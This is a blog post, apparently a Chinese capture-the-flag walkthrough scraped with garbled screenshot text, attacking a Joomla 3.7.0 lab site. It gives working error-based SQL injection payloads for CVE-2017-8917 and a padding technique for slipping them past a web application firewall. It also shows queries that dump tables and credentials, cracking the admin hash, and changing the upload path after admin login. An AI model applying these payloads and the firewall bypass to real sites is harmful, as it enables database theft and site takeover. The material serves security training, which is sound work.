Iangmetadata.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25Iangmetadata.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25Iangmetadata.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25joomlaupdate.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25joomla.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25	langmetadata.xml	D:\迅雷下载\Joomla 4.0.2-Stable-Full Pa	1 KB	2021/8/25 4:25
Iangmetadata.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25Iangmetadata.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25joomlaupdate.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25joomla.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25	angmetadata.xml	D:\迅雷下载\Joomla 4.0.2-Stable-Full Pa	1 KB	2021/8/25 4:25
Iangmetadata.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25joomlaupdate.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25joomla.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25	langmetadata.xml	D:\迅雷下载\Joomla 4.0.2-Stable-Full Pa	1 KB	2021/8/25 4:25
joomlaupdate.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25joomla.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25	langmetadata.xml	D:\迅雷下载\Joomla 4.0.2-Stable-Full Pa	1 KB	2021/8/25 4:25
joomla.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa2 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25	joomlaupdate.xml	D:\迅雷下载\Joomla 4.0.2-Stable-Full Pa	2 KB	2021/8/25 4:25
install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25install.xmlD:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa1 KB2021/8/25 4:25	joomla.xml	 D\\'田雯玉恭\ Jaamia 40.2 Stable Full Pa	2 KB	2021/8/25 1.25
install.xml D:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa 1 KB 2021/8/25 4:25	install.xml	D.(匹笛下载()001111a 4.0.2-31able-Full Fa		2021/0/234.23
	 install yml	D:\迅雷下载\Joomla 4.0.2-Stable-Full Pa	1 KB	2021/8/25 4:25
	matun	D:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa D:\迅雷下载\Joomla_4.0.2-Stable-Full_Pa D:\迅雷下载\Joomla 4.0.2-Stable-Full Pa	1 KB 1 KB	2021/8/25 4:25 2021/8/25 4:25 2021/8/25 4:25

CSDN @weixin_51830687

http://awd19-b22.aqlab.cn/language/en-GB/langmetadata.xml /administrator/manifests/packages/pkg_en-GB.xml /installation/language/en-GB/langmetadata.xml /api/language/en-GB/langmetadata.xml /administrator/language/en-GB/langmetadata.xml /administrator/components/com_joomlaupdate/joomlaupdate.xml /administrator/manifests/files/joomla.xml /language/en-GB/install.xml /administrator/language/en-GB/install.xml 最终得知他的版本是3.7版本:http://awd19-b22.aqlab.cn/language/en-GB/install.xml

〇 封神台 - 掌控安 会	❷ 封神台 - 掌控安全	🕑 封神台 - 掌控安會	❷ 封神台 - 掌控安全	❷ 封神台 - 掌控安全	awd19-b22.aqlab×	👌 在线指纹	识别,在
← → C (<u>م</u> 🗘 ا	wd19-b22.aqlab.cn/	/language/en-GB/ins	tall.xml	器 ☆	hity	

该 XML 文件并未包含任何关联的样式信息。文档树显示如下。



joomla用的人多不多 网站漏洞 joomla的意思 joomla与织梦哪个好 joomla使用教程 最新漏洞 漏洞挖掘 joomla joomla是干嘛 joomlagodaddy joomla核心

【漏洞预警】Joomla 3.7.0 爆严重的SQL注入漏洞(CVE-2017-...



2017年5月18日 昨天,Joomla开发者发布了一个新版本,修正了一个严重的 SQL注入漏洞(CVE-2017-8917,利用漏洞可以远程劫持站点、获取敏感数 据)该漏洞由Sucuri研究员Marc Alexandre Montpas报告,指影响... 搜狐网 ① 百度快照

【漏洞分析】Joomla!3.7.0 Core com fields组件SQL注入漏洞



2017年5月19日 下面动态调试跟踪下本漏洞的成因,在这之前先讲下整个数据流的流程: 1. 入口点是C:phpStudy32WWWJoomla_3.7.0-Stable-Full __Packagecomponentscom_fieldscontroller.php, public funct...

bobao.360.cn/learning/detail/3... 💿 百度快照

<u>joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞 - bingtanghul...</u>

.91 s-requested page car't be found. 2021年3月1日 joomla 3.7.0 (CVE-2017-8917) SQL注入漏洞 影响版本: 2.7 Operation-com fields 20000/index php2ontion-com fields 20000/index elds&layout=modal&list[fullordering]=updatexml(0x23...

博客园 💿 百度快照

【漏洞公告】Joomla! 3.7 Core SQL注入漏洞

CSDN @weixin_51830687

这里不建议用百度搜索,不是很精准,有时候搜不到

漏洞分析

查找poc,复制

index.phpoption=com_fields	<pre>&view=fields&layout=modal&list[fullow</pre>	rdering]=updatexml((1,concat(0x3e	,user()),0))
אורר דאא אויאט און אורר אוא אויר אוינע אוינע דעא אויזען דע א	ע ג גער געניינאזע אין אין א א געניינע אין אין א געניין אין געניין אין געניין געניין געניין געניין געניין געניין געניי		. 🕒 Joonna. Jo	onn 🕂 🎮	,u
\leftrightarrow \rightarrow C \triangle $$ anquanke.	com/post/id/86130			Q \$	<mark>%</mark> 1 🖥
应用 📙 设计 📙 工具 📙 学	习 📙 音乐 📙 捜索 📙 学校 📙 网络安全	рос	2/5 ^	~ X	_
安全客 首页	文章 → 漏洞 SRC导航 招	聘 内容精选	输入	关键词搜索	Q
payload: list[fullordering]=updatexml(1, 保存 concat(0x3e,user()),0)	/libraries/legacy/model/list.ph 文代中 Sthis->setState("list'、Sname, Svalue)、将payload保存至 list.fullordering	istrator/components/com_ /models/fields.php文件中 Jistordering = \$this- tState('list.fullordering': ering').\$listOrdering空皇获 汉之前保存的payload	SQL语句 将报错(^了 _{安全客} (言息输出到 页面 ^{- bobao:36(ten)}	
0x03 漏洞分析					
从数据流岸面分析下这个漏	同网上流传的 <mark>POC</mark> 如下・ /index nhn?				
option=com fields&view=fi	elds&lavout=modal&list[fullordering]=upda	atexml(1.concat(0x3e.u	ser()).0) 豆从 <mark>PO(</mark>	上可以看	
出list[fullordering]这个参数	的值是经典的MYSQL报错语句,成功爆出了	数据库用户信息,效果	如图1所示:		
(1) 192.168.227.135/Joomla_3.7.0-Stable-Full_Packag	e/index.php?option=com_fields&view=fields&layout=modal&dist[fullordering]=updatexml(1,con Other•	icat(0x3e,user()),0) 🦁 謎 🔻 C 🛛 🤇 <i>高度</i> <	:Ctrl+K>	☆ 自 - ₩	
Icogd URL http://192.168.227.135/Joomla_3.7.0-Stab % Split URL	e-Full_Package/index.php?option=com_fields&view=fields&dayout=modal&list[fullordering]=up	datexml(1,concat(0x3e,user()),0)			
() Execute ☐ Enable Post data ☐ Enable Referre		1			
			CSE	N @weixin_51	83068
	test				
门可以在本地测试一下这个po	c发现漏洞				
Joomla_3.7.0-Stable-Full_Package/index.php?op	tion=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1	,concat(0x3e,user()),0) 🦁 🗱 ⊽ 📿	Q, 百度 < Ctrl+K>		
SQL+ XSS+ Encryption+ Encoding+ Other+ tp://192.16%/Joomla_3.7.0-Stable-Full_Package	/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]	=updatexml(1,concat(0x3e,user()),0)			
		1			
Enable Post data 🛛 Enable Referrer					
	test				
	The requested page can't be fou	nd.			
	An error has occurred while processing your request.	Go to the Home Page			
	You may not be able to visit this page because of:	The Home Page			
	 an out-or-date bookmark/rayourite a mistyped address a search engine that has an out-of-date listing for this site you have no access to this page 				

	If difficulties persist, please contact the System Administrator of this site and report the error below.	
		CSDN @weixin_51830687
再转到靶场		

8	awd19-b22. aqlab.cn /index.php?option=com_fields&view=fields&layout	88	ជ	hit.	ц.	•	8	٩
	📸 joomla3.7漏洞在线检							



您所提交的请求含有不合法的参数,已被网站管理员设置拦截!

url:	awd19-b22.aqlab.cn/index.php
user-agent:	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefo
	x/91.0
time:	2020-11-27 04:46:43

CSDN @weixin_51830687

被阻拦了,这款防护软件云锁,怎么绕过呢? 传参方式在URL栏里为get传参(传递内容有限),尝试用post传参,用burp拦截,先在本地测试下是否能进行post传参

Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz By:LianZhang	- 🗆 X
Burp Project 测试器 重发器 窗口 帮助	
【	
1 ×	
	目标: http://awd19-b22.aq/ab.cn 🖉 ⑦
请求	响应
Raw 参数 头 Hex	Raw 1/2 Hex HTML Render
GET /index.obp?option=com_fields&view=fields&layout=modal&listffullorderingl=updatexml(1.concat0x3e.user())	HTTP/1.1 404 Not Found
.0) HTTP/1.1	Date: Sun, 05 Sep 2021 08:57:39 GMT
Host: awd19-b22.aqlab.on Host: Acent: Marilla/5.0.0//indexr.NT.10.0: Win84: v64: av01.0: Gooks/20100401 Eirofev/01.0	Content Type: text/html; charset=UTF-8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8	Connection: close
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	Vary: Accept-Encoding
Accept Encoding: gzip, deflate	Set-Cookie: security_session_verity=933206a80751e53eb3ba74cocc596480; expires=Mon, 30-Nov-20.05:00:11 6MT; path=1; HttpOnly
Connection: close Cookie: UM_distinctid=17bafef8f1e186-0398ffc2fff5cb8-4c3e247b-e1000-17bafef8f1f10f	Set-Cookie: security_session_verity=933326a86/51e53cb3ba/4cccc596d80; expires=Mon, 30-Nov-20 05:00:11 GM1; path=/; HttpOnly
130278f82abbc8f1ceb3ac4309021b2b=6dbfbmosc2lk4mjutb40k7s640	
Upgrade-Insecure-Requests: 1	xmins="http://www.w3.org/1999/xhtml"> <head><meta content="text/html; charset=utf-8" http-equiv="Content-Type"/><meta< td=""></meta<></head>
Cache-Control: max-age=0	http=quiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-checke0, pre-checke0"/>
	padding:0; list-style.none; border.none; body(font-tamly:微软羅馬; font-size:12px; background:#ff; itable(margin: 0; padding: 0;
	width: 100%;]a:hover, a:link, a:visited, a:active[color;#1cc0a5; text-decoration:none;].red[color:#011f1b;].stop { width:600px;
	margin: 0 auto; margin-top:80px;)stop logo(width:98px; height:115px; margin:0 auto; displayblock;)tip1{font-size:16px; font-weight-bold: width:150px; margin:30px; at 0:0; displayblock; bip{width:520px; border: 1px; displayblock; bip{width:520px; bip{width
	border-radius: 5px; padding: 10px 20px; background: #edfcta_ibit to { line-height 26px; fort-size: 12px; vertical-align: top; bib.tdf{
	width: 16%; text-align: right; color: #969696;}tib:td2 { width: 84%; text-align: left; word-wrap: break-word; word-break:
	break-all ()tip2{ width:250px; margin:30px auto () displayblock; letter-spacing:2px; color #959696;).yunsuologo(margin:0 auto; displayblock; margin:10 toto 20px; lettela 2 (hand a body displayblock; letter-spacing:2px; color #959696;).yunsuologo(margin:0 auto;
	sto="data:image/png:base64,iVBORw0KGgoAAAANSUhEUgAAAEsAAABTCAYAAADXy/ocAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbW

0	
O	部八这系士四
完成	
完成	

v 没有比赛

CSDN @weiking1約得306歲秒

右键变更请求方式

扫描	
发送给Intruder	Ctrl+I
发送给Repeater	Ctrl+R
发送给Sequencer	
发送给Comparer	
发送给Decoder	
在浏览器中显示响应	
通过浏览器请求	•
相关工具	•
变更请求方法	
身体编码改变	
复制网址	
复制curl命令	
复制到文件	
从文件粘贴	
保存项目	
保存输入历史记录	
将URL粘贴为请求	
添加到站点地图	
转换选择	
URL编码输入	
切割	Ctrl+X
复制	Ctrl+C
粘贴	Ctrl+V
消息编辑器的文档	
Burp Repeater文档	

Burp Suite Professional v2.1 - Temporary Project - licensed to surferxyz By:LianZhang	- 🗆 X
Burp Project 测试器 重发器 窗口 帮助	
(仪表盘 目标 代理 测试器 重发器 定序器 编码器 对比器 插件扩展 项目选项 用户选项	
1 ×	
	目标: http://avvd19-b22.aq/ab.cn 🖉 🕐
请求	响应
Raw 参数 头 Hex	Raw & Hex HTML Render
POST /index.php HTTP/1.1	HTTP/1.1 404 Not Found
Host: awd19-b22.aqlab.cn	Server: openresty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0	Date: Sun, 05 Sep 2021 08:57:39 GMT
Accept: textintmi,application/xntmi+xmi,application/xmi;q=0.9,Image/webp;/7;q=0.8	Content lype: texutum; chaise=UTF-8
AcceptEncoding: gzio. deflate	Connection: close
Connection: close	Vary: Accept Encoding
Cookie: UM_distinctid=17bafef8f1e186-0398ffc2fff5cb8-4c3e247b-e1000-17bafef8f1f10f;	Set Cookie: security_session_verify=933326a86751e53cb3ba74cccc596d80; expires=Mon, 30-Nov-20 05:00:11 GMT; path=/; HttpOnly
130278f82abbc8f1ceb3ac4309021b2b=6dbfbmosc2lk4mjutb40k7s640	Set-Cookie: security_session_verify=933328a88751e53cb3ba74cccc596d80; expires=Mon, 30-Nov-20 05:00:11 GMT; path=/; HttpOnly
Upgrade-Insecure-Requests: 1	
Cache-Control: max-age=0	<idoctype *="" 1.0="" dtd="" dtdxhtml1-transitional.dtd*="" en*="" html="" http:="" public="" transitional="" trxhtml1="" w3c="" www.w3.org="" xhtml=""><html< p=""></html<></idoctype>
Content application/x-www-form-unencoded	xmms-indp//www.wo.org/reservation >need>meta-indp/equiv= content-rype content-rype content-reservations, character of r> reservations, character of reservat
oontent Lengui. oo	content="Close"/> <title>网:稉:防:火:墙:<fitle><style_type="text css"="">a.img.h1.body.of margin:0:</style_type="text></fitle></title>
option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)	padding:0;list-style:none;border:none;}body(font-family:微叙雅熙;font-size:12px; background:#ff;}table(margin: 0; padding: 0;
	width: 100%;]a:hover, a:link, a:visited, a:active{ color:#1cc0a5; text-decoration:none;}.red{ color:#011f1b;}.stop { width:600px;
	margin: 0 auto; margin-top:80px;).stop_logo{ width:98px; height:115px; margin:0 auto; display:block;}.tip1{font-size:16px;
	font-weight-bold; width:450px; margin:30px auto 0; display:block;}tib{ width:520px; border: 1px dashed #ccc; margin: 20px auto 0;
	porder-radius: opx, padoing. topx zopx, padoing-ound. wedrea_tor (inter-teignt: zbpx; fondsize; tzpx; vertical-align: top;).tb .td1{ width: 16% taxtalign: inter-topic: #969696.1th td2 / width: 84% taxtalign: left: word.wrad; word.wrad; word.wrad;
	break-all:htip2/width/250xbs:marain:30xp.auto.cl displayblock: letter-spacing:2px:color#969663.vunsuodoofmarain:0.auto:
	display:block; margin-top:20px;) <body><div class="stop"><img <="" class="logo" td=""/></div></body>
	sre="data:image/png:base64.iVBORw0K6goAAAANSUhEUgAAAEsAAABTCAYAAADXv/ocAAAAGXRFWHRTb220d2FvZQBBZ69iZSBJbW

 +
 >
 输入搜索字词



还是被拦截了,怎么办?

完成

我们要知道对方负责检测我们的语句是否存在恶意代码,对方是装了一个工具,但是工具运行要占用系统内存,对于这种防护类 软件占用系统资源还是比较高的,而对于一台服务器来说资源是很宝贵的,而这些所谓的杀毒软件和防护软件,他们检测的数据 越多,消耗的资源也就越大导致网站越来越卡,影响正常用户体验,所以说出于用户体验感的目的,这个服务器的防护软件检测 数据的长度或内容是有限的,那只有我们把间谍或特务放后面,他就检测不到了,绕过检测了,所以我们可以给他大量的垃圾字 符串,当他检测到一定值时就不检测了,所以就绕过了。

那垃圾字符串放多长呢?

我们不知道,只能一个一个试,一边加一边go

Raw 参数 头 Hex					
POST /index.php HTTP/1.1					
Host: awd19-b22.aqlab.cn					
Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0					
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8					
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2					
Accept-Encoding: gzip, deflate					
Connection: close					
Cookie: UM_distinctid=17bafef8f1e166-0396ffc2fff5cb8-4c3e247b-e1000-17bafef8f1f10f;					
130278f82abbc8f1ceb3ac4309021b2b=6dbfbmosc2lk4mjutb40k7s840					
Jpgrade-Insecure-Requests: 1					
Jache-Control: max-age=0					
Content-Type: application/x-www-form-urlencoded					
Content-Length: 96					
>ption=com_fields&view=fields&layout=modal&list[fullordering]=updatexml/*111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
11111111111111111111111111111111111111					

CSDN @weixin_51830687





大概7000多左右绕过



发送 取消 < ▼ > ▼					
请求					
Raw 参数 头 Hex					
POST /index.php HTTP/1.1					
Host: awd19-b22.aglab.cn					
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0					
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8					
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2					
Accept Encoding: gzip, deflate					
Connection: close					
Cookie: UM_distinctid=17bafef8f1e166-0396ffc2fff5cb8-4c3e247b-e1000-17bafef8f1f10f;					
130278f82abbc8f1ceb3ac4309021b2b=6dbfbmosc2lk4mjutb40k7s640					
Upgrade-Insecure-Requests: 1					
Cache-Control: max-age=0					
G <mark>ontent-Type: application/</mark> x-www-form-urlencoded					
Content-Length: 7523					
option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml/*111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
111111111111111111111111111111111111111					
11111111111111111111111111111111111111					

查询表名:

/(0x23,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1

因为是cms, 只需知道表名格式即可, 无需查找字段名

11111111111111111111111111111111111111	
<pre></pre>	
查询到表名格式: #assets,#banner_clients 接下来爆破查询表名 为方便查看 Intruder attack 4 — □ >	×
攻击 保存 列	
 结果 目标 位置 有效载荷 透现 111111 承加 输入新项目 没索目标: ● 简单的字符串 ● 正規表现 □ 区分大写和小写字母 ☑ 排除HTTP标头 	
? Grep - Extract ご 我们从明应中极版有用信息并得其显示在成击结果列表中。 ? 人明应中极版以下项目。 深加 Froi [error: &] to [:] 資料 服除 夏財 互換 正 正 確据 服除 夏財 互換 正 正 班面 100	
	100

Intruder attack 3 \times 攻击 保存 列 有效载荷 选项 结果 目标 位置 ? 过滤器: 显示所有项目 超时 有效载荷 状态 错误 长 ▼ 评论 请求 Ŧ 请求 响应 Raw 参数 头 Hex POST /index.php HTTP/1.1 Host: awd19-b22.aqlab.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: UM_distinctid=17bafef8f1e186-0396ffc2fff5cb8-4c3e247b-e1000-17bafef8f1f10f; 130278f82abbc8f1ceb3ac4309021b2b=8dbfbmosc2lk4mjutb40k7s840 Upgrade-Insecure-Requests: 1 ¥ 输入搜索字词 没有比赛 < + >

ette står "			
elle pt			
	-	- 44 - 1	
	-	1000	

Intruder attack 4 − □ ×								
攻击 亻	呆存 列							
结果	目标 位置 有效载荷 选项							
过滤器:	显示所有项目							?
请求	有效载荷	状态	错误	超时	长	error: &	评论	
02		500			3700	#039,*#upuate_siteso		
63	62	500			3810	#039;~#ucm_nistorya# #039;~#_undate_sites		
64	63	500			3886	#039:~#update_sites		
65	64	500	ŭ	ŏ	3782	#039;~#user_flag'		
67	66	500			3784	#039;~#user_notes�		
66	65	500			3782	#039;~#user_keys'		
68	67	500			3790	#039;~#user_profiles&		
69	68	500			3800	#039;~#user_usergrou		
70	69	500			3784	#039;~#usergroups�		
71	70	500			3774	#039;~#users'		
72	71	500			3794	#039;~#utto_conversio		
75	74	200			988	#050,*#		
74	73	200			1096			•
请求								
Raw 参数 头 Hex								
POST /index.php HTTP/1.1								
Host: awd19-b22.aqlab.cn								
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0								
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8								
Accept-Language: zh-UN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzin_deflate								
Connection: close								
Cookie: UM_distinctid=17bafef8f1e166-0396ffc2fff5cb8-4c3e247b-e1000-17bafef8f1f10f; 130278f82abbc8f1ceb3ac4309021b2b=6dbfbmosc2lk4mjutb40k7s640								
Upgrade-Insecure-Requests: 1							Y	
2	< + > 输入搜索	z词						没有比赛
完成了	完成了 CSDN @weixin_51830687							

再查询字段名,里面有#

(0x23,concat(0x7e,(select column_name from information_schema.columns where table_name='#__user_flag' limit 0,1)
),1)

用这个查字段名

(1,concat(0x7e,(select column_name from information_schema.columns where table_name=(select table_name from info
rmation_schema.tables where table_schema=database() limit 64,1) limit 0,1)),1)

```
</DOCTYPE html>
<html lang="zh-cn" dir="ltr">
<head>
    <meta charset="utf-8" />
    <title>错误: 500 XPATH syntax error: &#039;~id&#039;</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
                   k href="//fonts.googleapis.com/css?family=Open+Sans" rel="stylesh"
         <style>
 <html lang="zh-cn" dir="ltr">
 <head>
      <meta charset="utf-8" />
     <title>错误: 500 XPATH syntax error: &#039;~passwd&#039;</title>
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
                    k href="//fonts.googleapis.com/css?family=Open+Sans" rel="style"
          eebda S
查具体数据:
```

(1,concat(0x7e,(select id from #__user_flag limit 0,1)),1)
(1,concat(0x7e,(select passwd from #__user_flag limit 0,1)),1)

```
WhatsUp
```

<style>

68e109f0f40ca72a15e05cc22786f8为MD5加密 解密: https://www.somd5.com/ HelloWorld

然后访问后台http://awd19-b22.aqlab.cn/admincp利用账号密码成功登陆后台



来到多媒体文件管理页,可见具普通管理员权限,把默认文件上传地址修改为/



| | | • |
|----------------------|---|---------------------------------|
| ビ保存 | 保存并关闭 😢 取消 | ● 帮助 |
| 默认设置
多语言关联 | 多媒体文件 会员组权限 | |
| 广告管理
缓存管理 | 允许上传的文件类型(扩展名) bmp,csv,doc,gif,ico.jpg,jpeg,odg,odg | |
| 数据签入
联系方式 | 最大上传文件大小(MB) 10 | |
| 文章管理
智能搜索
系统升级 | 警告! 目录路径
改变 "默认上传文件目录" 的默认目录名 "images" 可能会造成网站前台中的文件或图片链接失效。
"默认上传图片目录" 必须和"默认上传文件目录"相同或者是"默认上传文件目录"的子目录。 | |
| 语言管理
多媒体文件管理 | 默认上传文件目录 / | |
| 菜单管理
私信管理 | 默认上传图片目录 / | |
| 模块管理
新 闻 源 | 限制上传权限 | |
| 插件管理 | 是否检查 MIME 类型 是 否 | |
| ☑ 网站首页 │ ● 个会员在前台登录 | 录 1 个会员后台登录 0 条私信 - 退出 | Joomla! 3.7. CSDN@QQQDREDTEAU68 |

此时便可看到网站目录下的flag:





| 爲 条统管理 ▼ 会员管理 ▼ | 菜単管理 ▼ 内容管理 ▼ 组件设置 ▼ 扩展管理 ▼ 帮助 ▼ |
|-----------------|----------------------------------|
| 🖿 com_admin | 🗋 🖿 includes |
| | 🗋 🖿 language |
| controllers | 🗋 🖿 layouts |
| 🖿 helpers | 🗋 🖿 libraries |
| 🖿 html | 🗆 🖿 media |
| | modules |
| F models | D Plugins |
| 🖿 forms | templates |
| ► postinstall | 🗖 🖿 tmp |
| postnotan | Configuration.php |
| 🖿 sql | flag{OnLi-NeMalA-YsIA} |
| thers | 🗋 👔 index.php |
| | web.config.txt |
| 🖶 mysql | |
| 🖿 updates | |
| 🖿 mysql | |
| 🖿 postgresql | |
| | CSDN @weixin_51830687 |

这个flag并不是答案